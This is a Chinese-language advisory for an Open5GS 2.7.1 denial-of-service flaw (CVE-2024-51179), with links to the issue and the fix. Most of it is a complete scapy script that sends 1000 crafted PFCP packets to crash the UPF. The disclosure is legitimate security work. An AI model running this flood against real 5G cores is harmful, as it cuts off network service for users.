描述: Open 5GS v.2.7.1 中存在一个问题,允许远程攻击者通过网络功能虚拟化(NFV)中的用户面功能(UPF)和会话管理功能(SMF)引发拒绝服务。分组数据单元(PDU)会话建立过程受到 NFV 内部崩溃的影响。
攻击者在获取用户面功能(UPF)的 IP 地址、PFCP 端口和 SEID(会话端点标识符)后,可以构造并发送大量恶意 PFCP(分组转发控制协议)数据包到 UPF。如果攻击者能够访问用户面流量,则可使用 Wireshark 等工具截获所需参数。
漏洞类型: 拒绝服务
影响: 发送恶意数据包后,UPF 出现错误,影响新 PDU 会话的建立。此外,由于恶意 PFCP 数据包的泛滥,SMF(会话管理功能)也受到影响,从而破坏核心功能
前置条件: 5G 核心网络使用 Open5GS 作为核心网络,UERANSIM 作为 gNB(下一代基站)和 UE(用户设备)的仿真工具。
执行攻击的步骤
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
import socket
import struct
UPF_IP = "192.168.56.113"
UPF_PORT = 8805
message_type = 53
sequence_number = 1
seid = 0x0010000000000000
version = 1
spare = 0
mp = 0
s_flag = 1
byte0 = (version << 5) | (s_flag << 2)
length = 0
seid_bytes = seid.to_bytes(8, 'big')
sequence_number_bytes = sequence_number.to_bytes(3, 'big')
pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
ie_type = 150
ie_length = 13
flags = 0x01
fseid_seid = seid.to_bytes(8, 'big')
fseid_ipv4 = socket.inet_aton(UPF_IP)
fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
pfcp_message = pfcp_header + fseid_ie
pfcp_message_length = len(pfcp_message) - 4
pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
pfcp_message = pfcp_header_with_length + fseid_ie
packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
packet[UDP].chksum = None
print(f"Packet Summary: {packet.summary()}")
hexdump(packet)
for _ in range(1000):
send(packet)
print("Sent 1000 malicious PFCP packets to UPF.")


该漏洞在 Open5GS GitHub 页面(https://github.com/open5gs/open5gs/issues/3497)上记录为 Issue #3497,已向 Open5GS 厂商报告。厂商将根本原因确定为内存释放问题导致系统崩溃。现已应用补丁,并更新了代码以解决该问题。您可以在此处查看更新后的代码。
https://github.com/open5gs/open5gs/commit/e3790b45b4bc0b261e0946cf93755099a9525cfd
CVE-2024-51179 已发布。
数字大学喀拉拉邦, 电信发展中心(C-DOT)